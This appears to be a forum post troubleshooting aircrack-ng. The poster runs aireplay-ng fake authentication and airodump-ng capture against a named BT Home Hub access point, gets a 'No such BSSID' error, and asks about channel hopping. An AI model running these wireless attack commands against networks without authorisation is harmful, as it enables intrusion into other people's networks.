but then i run aireplay-ng -1 0 -e BTHomeHub-C201 -a 00:18:F6:5F:6D:57 -h 00:0e:2e:c8:4e:08 wlan4
07:32:15 Waiting for beacon frame (BSSID: 00:18:F6:5F:6D:57) on channel 1
07:32:25 No such BSSID available.


now kismet tells me BTHOMEHUB-c201 is on channel 7 so i run airodump-ng --channel 7 --write psk wlan4 and the same thing comes up..


i have noticed up in the top right hand corner " fixed channel wlan4: 7" this appears whats this about? it keeps going from 1 to 10 just happend to be on 7 when i copy and pasted it here.
